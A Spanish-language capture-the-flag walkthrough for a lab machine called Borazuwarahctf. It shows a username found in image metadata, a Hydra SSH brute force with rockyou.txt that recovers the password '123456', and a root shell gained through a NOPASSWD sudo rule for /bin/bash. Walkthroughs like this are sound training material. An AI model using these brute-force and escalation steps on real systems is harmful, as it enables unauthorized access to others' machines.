

6. Máquina: Borazuwarahctf (Muy Fácil)

1. Descubrimiento de Puertos y Servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

Comando: `nmap -sVC 172.17.0.2`

Resultado: Se han encontrado los servicios HTTP y ssh abiertos.

2. Inspección servicio HTTP:

- Inspeccionamos la web que runnea en el servicio HTTP

Comando: `CTRL+U` para inspeccionar código fuente en la página web.

Resultado: Encontramos una imagen de un Kinder Sorpresa pero ninguna información relevante adicional en la web, así que vamos a explorar los metadatos de la imagen en busca de información relevante.

3. Extracción de Metadatos de la imagen:

- Extraemos información de los metadatos de la imagen de la web descargada usando la herramienta *exiftool*:

Comando: `exiftool imagen.jpeg`

Resultado: Observamos que la imagen tiene una descripción con un nombre de usuario *borazuwarah*, por lo que una vez encontrado el usuario, podemos realizar un ataque de fuerza bruta con ese username mediante *Hydra* sobre el servicio ssh.

4. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando el nombre de usuario *borazuwarah*, encontrado en los metadatos de la imagen web y las contraseñas de rockyou.txt.

Comando: `hydra -l borazuwarah-P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh`

Resultado: Se encontró la contraseña "123456" para el usuario "borazuwarah".

```
(root@kali) ~/home/kali/Downloads
$ exiftool imagen.jpeg
ExifTool Version Number      : 12.76
File Name                    : imagen.jpeg
Directory                    : .
File Size                     : 19 KB
File Modification Date/Time   : 2024:06:24 11:48:38-04:00
File Access Date/Time        : 2024:06:24 11:48:38-04:00
File Inode Change Date/Time   : 2024:06:24 11:48:38-04:00
File Permissions              : -rw-rw-r--
File Type                    : JPEG
File Type Extension          : jpg
MIME Type                     : image/jpeg
JFIF Version                  : 1.01
Resolution Unit               : None
X Resolution                  : 1
Y Resolution                  : 1
XMP Toolkit                   : Image::ExifTool 12.76
Description                   : ----- User: borazuwarah -----
Title                        : ----- Password: -----
Image Width                   : 455
Image Height                  : 455
Encoding Process              : Baseline DCT, Huffman coding
Bits Per Sample               : 8
Color Components              : 3
Y Cb Cr Sub Sampling          : YCbCr4:2:0 (2 2)
Image Size                    : 455x455
Megapixels                    : 0.207

(root@kali) ~/home/kali/Downloads
$ hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-24 11:49:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399),
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2  login: borazuwarah  password: 123456
1 of 1 target successfully completed, 1 valid password found
```

5. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.

Comando: `ssh borazuwarah@172.17.0.2`, contraseña *123456*

Resultado: Nos encontramos dentro del usuario *borazuwarah* en la máquina víctima.

6. Verificación de permisos del usuario:

- Verificamos los permisos del usuario *borazuwarah*.

Comando: `sudo -l`

Resultado: El usuario *borazuwarah* tiene permisos para ejecutar todo, y además, /bin/bash sin necesidad de ingresar contraseña.

7. Escalada de privilegios:

- El usuario loggeado *borazuwarah* tiene permisos para todo, así que ejecutando el /bin/bash ya somos usuario con máximos privilegios, sin necesidad de contraseña.

Comando: `sudo /bin/bash`

Resultado: Una vez ejecutado, ya somos root en la máquina víctima. Fin de la intrusión con máximos privilegios.

```
borazuwarah@c1e9f2b8da5b:~$ whoami
borazuwarah
borazuwarah@c1e9f2b8da5b:~$ sudo -l
Matching Defaults entries for borazuwarah on c1e9f2b8da5b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User borazuwarah may run the following commands on c1e9f2b8da5b:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
borazuwarah@c1e9f2b8da5b:~$ sudo /bin/bash
root@c1e9f2b8da5b:/home/borazuwarah# whoami
root
root@c1e9f2b8da5b:/home/borazuwarah# xDaliK
bash: xDaliK: command not found
root@c1e9f2b8da5b:/home/borazuwarah#
```